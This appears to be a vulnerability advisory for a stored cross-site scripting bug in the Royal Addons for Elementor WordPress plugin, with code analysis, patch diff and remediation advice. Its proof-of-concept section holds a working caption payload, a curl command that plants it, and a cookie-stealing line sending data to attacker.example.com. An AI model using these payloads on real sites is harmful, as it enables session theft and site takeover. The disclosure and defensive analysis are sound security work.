CVE-2026-5428: Authenticated Stored XSS in Royal Elementor Addons Plugin
Table of Contents
CVE-2026-5428 is a CVSS 6.4 Medium Stored Cross-Site Scripting vulnerability in the Royal Addons for Elementor WordPress plugin. An attacker with Author-level access or higher can inject malicious JavaScript via image captions in the Media Grid widget. The script runs in the browser of every visitor to a page that contains the widget. From a single injection, an attacker can steal session cookies and take over admin accounts.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Royal Addons for Elementor |
| Plugin Slug | royal-elementor-addons |
| CVE ID | CVE-2026-5428 |
| CVSS Score | 6.4 (Medium) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Authenticated (Author+) Stored Cross-Site Scripting |
| Affected Versions | <= 1.7.1056 |
| Patched Version | 1.7.1057 |
| Published | April 23, 2026 |
| Researcher | Dmitrii Ignatyev — CleanTalk Inc |
| Wordfence Advisory | Link |
Description
The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image captions in the Image Grid/Slider/Carousel widget in versions up to and including 1.7.1056. The bug is in the render_post_thumbnail() function, which uses wp_kses_post() instead of esc_attr() for the alt attribute context. Authenticated attackers with Author-level access or above can inject malicious scripts into pages. Those scripts run whenever a visitor views a page that shows the compromised image in the media grid widget.
Technical Analysis
Vulnerable Code Path
The vulnerability is in modules/media-grid/widgets/wpr-media-grid.php.
1. Query execution (line ~6670, vulnerable version)
The Media Grid widget queries WordPress attachments and iterates over them via WP_Query. For each attachment, it calls render_post_thumbnail():
// wpr-media-grid.php ~line 7795
$this->render_post_thumbnail( $settings, get_the_ID() );
2. The vulnerable function (lines 6752–6759, version 1.7.1056)
// Render Post Thumbnail
public function render_post_thumbnail( $settings ) {
$id = get_the_ID();
$src = Group_Control_Image_Size::get_attachment_image_src( $id, 'layout_image_crop', $settings );
$alt = '' === wp_get_attachment_caption( $id ) ? get_the_title() : wp_get_attachment_caption( $id );
echo '<div class="wpr-grid-image-wrap" data-src="'. esc_url( wp_get_attachment_url( $id ) ) .'">';
echo '<img src="'. esc_url( $src ) .'" alt="'. wp_kses_post( $alt ) .'" class="wpr-anim-timing-'. esc_html($settings[ 'image_effects_animation_timing']) .'">';
echo '</div>';
}
Line 6755 — The $alt variable is populated from wp_get_attachment_caption() (the “Caption” field in the WordPress Media Library). If the caption is empty, it falls back to get_the_title().
Line 6758 — The $alt value is output inside the HTML alt="..." attribute using wp_kses_post(). This is the vulnerable sink.
Root Cause
wp_kses_post() is a content sanitizer designed for HTML body context. It strips disallowed HTML tags and attributes, but it does not HTML-encode characters that break out of an HTML attribute context — specifically the double-quote character (").
When $alt contains a double quote, wp_kses_post() leaves it as a literal ", which closes the alt attribute and allows arbitrary HTML/event-handler injection:
| Input caption | wp_kses_post() output | Resulting HTML |
|---|---|---|
" onmouseover="alert(1) | " onmouseover="alert(1) | alt="" onmouseover="alert(1)" |
"><script>alert(1)</script> | "><script>alert(1)</script> | Breaks out of tag entirely |
The correct function for attribute context is esc_attr(), which encodes " → ", < → <, > → >, and & → &.
Why Controls Missed This
WordPress documents wp_kses_post() as safe for “post content” — HTML body text. Using it inside an HTML attribute is a misuse. The function allows some HTML tags and strips others, but it was never built to escape attribute-breaking characters. Any developer who knows XSS escaping context rules (HTML body vs. attribute vs. JavaScript vs. URL) would use esc_attr() here instead.
The WordPress Coding Standards require esc_attr() for all attribute output, but the developer missed this check during implementation.
Attack Impact
An authenticated attacker with at minimum Author-level access can:
- Upload an image with a malicious caption to the WordPress Media Library
- Cause attacker-controlled JavaScript to execute in the browser of any visitor to a page that includes a Media Grid/Slider/Carousel widget showing that image
- Steal session cookies (including admin cookies) to achieve full site takeover
- Perform any action the victim user is authorized to perform (create accounts, install plugins if victim is admin, etc.)
This is a persistent/stored XSS — not a reflected attack. The payload lives in the database as the attachment caption and renders for every visitor. A single injection can affect all future visitors until someone cleans up the caption.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
royal-elementor-addonsplugin installed and activated - Elementor page builder active
- Plugin version <= 1.7.1056
- A user account with at minimum Author role
Step-by-Step Reproduction
Step 1: Inject the malicious caption via Media Library
Log in to WordPress as an Author (or higher privilege) user. Navigate to Media > Add New and upload any image file. After upload, click the image to open the attachment detail editor.
In the Caption field, enter the XSS payload:
" onmouseover="alert(document.cookie)
Click Update to save.
Alternatively, inject via the REST API (if Author has API access):
# First, get the attachment ID of your uploaded image
ATTACHMENT_ID=123 # replace with actual ID
WP_URL="https://target-site.example.com"
AUTH_HEADER="Authorization: Basic $(echo -n 'author_user:author_password' | base64)"
curl -s -X POST "$WP_URL/wp-json/wp/v2/media/$ATTACHMENT_ID" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{"caption": "\" onmouseover=\"alert(document.cookie)"}'
Step 2: Place the Media Grid widget on a page
Edit any page with Elementor. Add a Media Grid (or Image Slider / Image Carousel) widget from the Royal Elementor Addons section.
Configure the widget query to use Media Library as source (the default). Ensure the widget is set to display images from the Media Library (it queries post_type=attachment). The malicious image will appear in the grid.
Publish or update the page.
Step 3: Trigger the XSS as an unauthenticated visitor
Visit the published page in a browser (logged out or as a different user):
https://target-site.example.com/page-with-media-grid/
The rendered HTML will contain:
<img src="https://target-site.example.com/wp-content/uploads/malicious.jpg"
alt="" onmouseover="alert(document.cookie)"
class="wpr-anim-timing-linear">
Hover the mouse over the malicious image. The JavaScript payload fires immediately.
Expected Result
The browser executes alert(document.cookie) — demonstrating XSS. In a real attack, the payload would be replaced with a cookie-exfiltration script:
" onmouseover="fetch('https://attacker.example.com/?c='+document.cookie)
An admin visiting the page would have their wordpress_logged_in_* session cookie sent to the attacker, enabling full account takeover without needing credentials.
Verification
After triggering the PoC, verify the exploit succeeded by:
- Browser DevTools: Open DevTools → Console. After hovering the image, the alert fires and the cookie value is displayed.
- Source inspection: View Page Source and search for
onmouseover— the injected event handler will be visible in the<img>tag. - Network tab: If using an exfiltration payload, observe the outbound request to the attacker-controlled domain carrying the victim’s cookies.
Patch Analysis
Modified File
The patch in version 1.7.1057 changes one line in modules/media-grid/widgets/wpr-media-grid.php:
| File | Lines Changed |
|---|---|
modules/media-grid/widgets/wpr-media-grid.php | Line 6787 (patched) — escaping fix; plus unrelated pagination and query improvements |
The XSS fix touches only one line — a single function swap.
Fix Explanation
- echo '<img src="'. esc_url( $src ) .'" alt="'. wp_kses_post( $alt ) .'" class="wpr-anim-timing-'. esc_html($settings[ 'image_effects_animation_timing']) .'">';
+ echo '<img src="'. esc_url( $src ) .'" alt="'. esc_attr( $alt ) .'" class="wpr-anim-timing-'. esc_html($settings[ 'image_effects_animation_timing']) .'">';
esc_attr() properly HTML-encodes all special characters in attribute context:
"→"<→<>→>&→&
This prevents any injection of additional HTML attributes or tags via the caption/title value.
The patch also adds 'post_mime_type' => 'image' to the attachment query (line ~6670). This is a defense-in-depth improvement — it limits the media grid to image attachments only, narrowing the attack surface.
The fix is complete for the reported vector. This code path has no remaining risk.
Code Diff (Key Changes)
@@ -6755,7 +6787,7 @@ class Wpr_Media_Grid extends Widget_Base {
$alt = '' === wp_get_attachment_caption( $id ) ? get_the_title() : wp_get_attachment_caption( $id );
echo '<div class="wpr-grid-image-wrap" data-src="'. esc_url( wp_get_attachment_url( $id ) ) .'">';
- echo '<img src="'. esc_url( $src ) .'" alt="'. wp_kses_post( $alt ) .'" class="wpr-anim-timing-'. esc_html($settings[ 'image_effects_animation_timing']) .'">';
+ echo '<img src="'. esc_url( $src ) .'" alt="'. esc_attr( $alt ) .'" class="wpr-anim-timing-'. esc_html($settings[ 'image_effects_animation_timing']) .'">';
echo '</div>';
}
@@ -6639,6 +6670,7 @@ class Wpr_Media_Grid extends Widget_Base {
$args = [
'post_type' => 'attachment',
'post_status' => 'inherit',
+ 'post_mime_type' => 'image',
'tax_query' => $this->get_tax_query_args(),
Timeline
| Date | Event |
|---|---|
| April 23, 2026 | Vulnerability publicly disclosed by Dmitrii Ignatyev (CleanTalk Inc) |
| April 23, 2026 | Patched version 1.7.1057 released |
Remediation
Update the royal-elementor-addons plugin to version 1.7.1057 or later immediately.
If you cannot update right away, audit your Media Library for image captions with suspicious content — double quotes, onmouseover, <script> tags, and similar patterns. Also restrict Author-level uploads until the patch is applied.
References
- Vulnerable code — trunk (line 6755)
- Vulnerable code — tag 1.7.1049 (line 6755)
- Vulnerable code — trunk (line 6752)
- Vulnerable code — tag 1.7.1049 (line 6752)
- Fix changeset 3503209
Frequently Asked Questions
What is CVE-2026-5428?
CVE-2026-5428 is a CVSS 6.4 Medium severity Stored Cross-Site Scripting vulnerability in the Royal Addons for Elementor WordPress plugin that lets authenticated attackers inject malicious JavaScript into pages, which then runs in every visitor's browser.
Which versions of Royal Addons for Elementor are affected by CVE-2026-5428?
All versions up to and including 1.7.1056 are vulnerable. Version 1.7.1057 contains the fix and is safe to use.
What can an attacker do with CVE-2026-5428?
An attacker can store a JavaScript payload in an image caption in the WordPress Media Library. When any visitor views a page containing the Media Grid widget, the script runs and can steal session cookies, including admin cookies, leading to full site takeover.
Does an attacker need to be logged in to exploit CVE-2026-5428?
Yes. The attacker must have at least Author-level access to a WordPress account on the target site. No authentication is required for victims who trigger the stored payload by visiting the page.
How do I fix CVE-2026-5428 in Royal Addons for Elementor?
Update the Royal Addons for Elementor plugin to version 1.7.1057 or later from the WordPress admin dashboard under Plugins > Installed Plugins. If you cannot update immediately, review your Media Library image captions for suspicious content and restrict Author-level uploads.
Has Royal Addons for Elementor been patched for CVE-2026-5428?
Yes. Version 1.7.1057, released on April 23, 2026, fixes the vulnerability by replacing wp_kses_post() with esc_attr() in the image rendering function, which correctly encodes special characters in HTML attribute context.